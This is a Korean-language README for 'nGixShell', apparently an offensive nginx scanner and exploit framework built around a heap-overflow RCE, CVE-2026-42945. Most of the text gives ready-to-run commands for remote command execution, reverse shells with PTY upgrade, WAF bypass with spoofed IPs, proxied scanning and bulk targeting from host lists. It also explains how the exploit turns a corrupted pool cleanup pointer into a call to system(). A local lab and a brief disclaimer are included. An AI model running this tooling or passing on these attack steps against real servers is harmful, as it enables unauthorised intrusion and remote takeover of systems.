nGixShell은 nginx CVE 스캐너이자 RCE 익스플로잇 프레임워크입니다. CVE-2026-42945 — ngx_http_rewrite_module의 치명적인 힙 버퍼 오버플로우 — 에 대한 작동하는 개념 증명과 53개의 nginx CVE를 자동 HTTP 프로브, 핑거프린팅, WAF 탐지/우회, 웹 보안 감사 및 보고서 생성을 통해 스캔하는 기능을 제공합니다.
외부 의존성 제로. 순수 Python 3 표준 라이브러리.
빠른 시작
# 취약한 실습 환경 실행
docker compose -f env/docker-compose.yml up -d
# 자동 모드 — 핑거프린팅 + CVE 스캔 + 웹 감사
python3 ngixshell.py 127.0.0.1:19321
# RCE를 통한 명령 실행 (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# 리버스 셸 연결 (IP 자동 감지)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# WAF 탐지 및 우회 후 스캔
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# 서브도메인 스캔
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# 파일로부터 다중 대상 처리
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
플래그가 필요 없습니다 — 도구에 대상을 지정하면 모든 것이 자동으로 실행됩니다.
TLS는 자동 감지됩니다. nginx는 server_tokens off가 설정되어 있어도 핑거프린팅됩니다.
사용법
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET 형식:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
모드
WAF 탐지 및 우회
| 플래그 | 설명 |
|---|
--waf-detect | 스캔 전 WAF 탐지 |
--waf-bypass | 모든 우회 기법 활성화 (탐지도 실행됨) |
--waf-ip IP | 우회 헤더에서 이 IP 스푸핑 (기본값: 임의 RFC1918) |
우회 기법 (--waf-bypass 설정 시 모두 활성화):
탐지되는 WAF: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
웹 감사
스캔 모드에서 자동으로 실행됩니다. 모든 모듈은 개별적으로 건너뛸 수 있습니다.
- 헤더 감사 — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, 버전 누출 헤더
- 경로 발견 — 50개 이상의 경로; 센티넬 프로브로 포괄적인 403/301 규칙에 의한 거짓 양성 제거
- 가상 호스트 열거 — 상태 AND 본문 차이를 요구하여 기본 차단 거짓 양성 방지
- TLS 감사 — TLS 1.0–1.3 지원, 인증서 만료, 자체 서명 탐지 테스트
- stub_status —
/nginx_status가 노출된 경우 활성 연결 메트릭 파싱
연결
| 플래그 | 설명 |
|---|
--port PORT | 포트 재정의 |
--tls | TLS 강제 사용 (기본적으로 자동 감지) |
|
HTTP
| 플래그 | 설명 |
|---|
--user-agent UA | 사용자 정의 User-Agent |
--auth USER:PASS | HTTP 기본 인증 |
--cookie VALUE | 쿠키 헤더 |
비율 / 타이밍
| 플래그 | 설명 |
|---|
--rate-limit RPS | 초당 최대 요청 수 |
--jitter MS | 요청 간 0–MS ms 무작위 지연 |
--retry N |
출력
| 플래그 | 설명 |
|---|
--output FILE | 로그를 FILE에 기록 |
CVE 적용 범위
2009~2026년까지 53개 항목. CVSS 기준 정렬.
버그 (CVE-2026-42945)
nginx의 rewrite 스크립트 엔진은 두 단계 모델을 사용합니다: 버퍼 크기 계산 후 복사. is_args 플래그는 rewrite 대체 문자열에 ?가 포함될 때 메인 엔진에 설정되지만, 길이 계산 단계는 새로 초기화된 서브 엔진에서 실행됩니다:
- 길이 단계 —
is_args = 0 → 원시 캡처 길이 반환
- 복사 단계 —
is_args = 1 → ngx_escape_uri(NGX_ESCAPE_ARGS) 호출, 안전하지 않은 각 바이트를 3바이트로 확장
복사는 공격자가 제어하는 URI 데이터로 크기가 부족한 힙 버퍼를 오버플로우시킵니다. 익스플로잇은 교차 요청 힙 펭 슈이를 통해 인접한 ngx_pool_t 정리 포인터를 손상시켜, 풀이 파괴될 때 system()을 호출하는 가짜 ngx_pool_cleanup_s로 리디렉션합니다.
영향을 받는 버전
| 제품 | 취약한 버전 | 수정된 버전 |
|---|
| NGINX 오픈소스 | 0.6.27 – 1.30.0 | 1.31.0, 1.30.1 |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
벤더 권고: https://my.f5.com/manage/s/article/K000160932
실습 환경 설정
Ubuntu 24.04 LTS에서 테스트됨. Docker 및 Python 3.8+ 필요.
# 취약한 실습 환경 실행 (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d
# 전체 스캔
python3 ngixshell.py 127.0.0.1:19321
# JSON 출력과 함께 RCE
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json
# 리버스 셸 — bash 페이로드, PTY 자동 업그레이드
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# 스푸핑된 IP로 WAF 우회 스캔
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1
# SOCKS5 프록시를 통한 스캔
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050
# 레이트 리밋이 있는 서브도메인 스캔
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10
# 다중 대상, JSON 출력, HTML 보고서
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
면책 조항
승인된 보안 테스트, CTF 대회 및 연구 목적으로만 사용하십시오.